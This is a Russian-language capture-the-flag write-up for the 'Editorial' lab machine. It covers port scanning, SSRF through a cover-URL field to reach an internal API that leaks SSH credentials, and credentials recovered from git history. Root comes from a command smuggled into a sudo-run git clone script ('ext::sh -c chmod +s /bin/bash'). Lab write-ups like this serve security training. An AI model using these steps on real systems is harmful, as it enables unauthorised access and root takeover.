Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/373.

Также на https://boosty.to/kiberdruzhinnik/posts/c55a9f84-e316-4185-9748-60da433a6598 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Просканируем открытые порты на сервере:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack
|_http-title: Did not follow redirect to http://editorial.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 19:10
Completed NSE at 19:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 19:10
Completed NSE at 19:10, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.05 seconds

Занесем домен editorial.htb в /etc/hosts:

$ sudo nano /etc/hosts
10.129.76.17 editorial.htb

Веб

Мы можем загрузить нашу книгу для издательства. Обратим внимание на кнопку Preview.

alt text

Попробуем открыть Burp Suite, загрузить любую картинку и нажать на нее. Картинка отобразится как иконка книги, а в ответе на запрос мы увидим ссылку на загруженный файл.

alt text

Нам так же предложено указать ссылку. Попробуем запустить у себя python3 -m http.server 4243 и указать свой IP-адрес.

alt text

Обложка обновится, откроем ее в браузере.

alt text

У нас получилось скачать файл с вот таким содержимым:

<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>

А в своем терминале увидим обращение. Это значит, что мы можем попробовать выполнить Server-Side Request Forgery - обратиться на 127.0.0.1.

Типичные порты для сервера приложений - 8080, 3000, 5000 и подобные.

В этом случае сработает URL http://127.0.0.1:5000. Отправим его и получим вот такой список API-ручек:

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Попробуем выполнить запрос на http://127.0.0.1:5000/api/latest/metadata/messages/authors. После выполнения запроса получим доступ к SSH-кредам:

{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: ***\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Подключимся по SSH:

Флаг пользователя

alt text

Повышение привилегий

В каталоге /home/dev обнаруживаем git-репозиторий apps. Посмотрим в его git log:

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

Коммит 1e84a036b2f33c59e2390730699a488c65643d28 может содержать внутреннюю информацию. Перейдем на него с помощью git checkout 1e84a036b2f33c59e2390730699a488c65643d28.

У нас появляется два каталога:

$ ls -la
total 20
drwxrwxr-x 5 dev dev 4096 Jun 16 06:30 .
drwxr-x--- 4 dev dev 4096 Jun 16 06:29 ..
drwxr-xr-x 8 dev dev 4096 Jun 16 06:30 .git
drwxrwxr-x 2 dev dev 4096 Jun 16 06:30 app_api
drwxrwxr-x 2 dev dev 4096 Jun 16 06:30 app_editorial

Внутри в файле /home/dev/apps/app_api/app.py найдем еще одни креды:

{
    'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: ***\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}

Также пробуем подключиться по SSH:

Пользователь prod имеет право выполнять sudo:

$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Посмотрим в скрипт /opt/internal_apps/clone_changes/clone_prod_change.py:

r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

В скрипте используется -c protocol.ext.allow=always - серьезная уязвимость, которая позволит нам выполнить произвольный код.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% +s% /bin/bash'

alt text

$ /bin/bash -p
$ id
uid=1000(prod) gid=1000(prod) euid=0(root) egid=0(root) groups=0(root),1000(prod)

Флаг суперпользователя

alt text